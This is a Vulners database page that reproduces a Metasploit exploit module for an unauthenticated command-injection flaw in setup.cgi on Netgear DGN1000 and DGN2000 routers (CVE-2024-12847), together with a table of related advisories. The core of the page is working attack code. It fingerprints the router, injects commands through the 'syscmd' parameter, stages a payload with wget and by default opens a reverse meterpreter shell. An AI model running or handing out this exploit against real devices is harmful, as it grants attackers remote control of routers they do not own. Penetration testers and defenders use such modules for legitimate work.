Lucene search
+L

Netgear DGN1000 Setup.cgi Unauthenticated RCE

🗓️ 05 Jun 2013 00:00:00Reported by Mumbai, Robort Palerie <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 46 Views

Netgear DGN1000 Setup.cgi Unauthenticated RCE in firmware versions up to 1.1.00.4

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
NETGEAR DGN1000 Auth Bypass
13 Jan 202500:00
–bdu_fstec
circl
Circl
CVE-2024-12847
31 May 201311:34
–circl
cnnvd
CNNVD
NETGEAR DGN1000 访问控制错误漏洞
10 Jan 202500:00
–cnnvd
cnvd
CNVD
NETGEAR DGN1000 Command Injection Vulnerability (CNVD-2025-02105)
21 Jan 202500:00
–cnvd
cve
CVE
CVE-2024-12847
10 Jan 202519:36
–cve
cvelist
Cvelist
CVE-2024-12847 NETGEAR DGN setup.cgi OS Command Injection
10 Jan 202519:36
–cvelist
euvd
EUVD
EUVD-2024-51148
3 Oct 202520:07
–euvd
kittysploit
KittySploit
NETGEAR DGN - setup.cgi syscmd RCE (CVE-2024-12847)
10 Aug 202606:19
–kittysploit
kittysploit
KittySploit
NETGEAR DGN syscmd RCE (CVE-2024-12847)
5 Oct 202614:20
–kittysploit
kittysploit
KittySploit
NETGEAR DGN - setup.cgi syscmd Detection (CVE-2024-12847)
10 Aug 202606:19
–kittysploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated OS command execution vulneralbility
          in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
          DGN2000v1 models.
        },
        'Author' => [
          'Mumbai', # https://github.com/realoriginal (module)
          'Robort Palerie <[email protected]>' # vuln discovery
        ],
        'References' => [
          ['CVE', '2024-12847'],
          ['EDB', '25978'],
        ],
        'DisclosureDate' => '2013-06-05',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSBE,
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
        },
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [[ 'Automatic', {} ]],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/setup.cgi',
        'method' => 'GET'
      })
      if res && res.headers['WWW-Authenticate']
        auth = res.headers['WWW-Authenticate']
        if auth =~ /DGN1000/
          return Exploit::CheckCode::Detected('The target service was detected')
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
    end

    print_status("#{peer} - Exploiting target ....")
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200,
      :concat_operator => " && "
    )
  end

  def execute_command(cmd, opts)
    begin
      res = send_request_cgi({
        'uri' => '/setup.cgi',
        'method' => 'GET',
        'vars_get' => {
          'next_file' => 'netgear.cfg',
          'todo' => 'syscmd',
          'cmd' => cmd.to_s,
          'curpath' => '/',
          'currentsetting.htm' => '1'
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation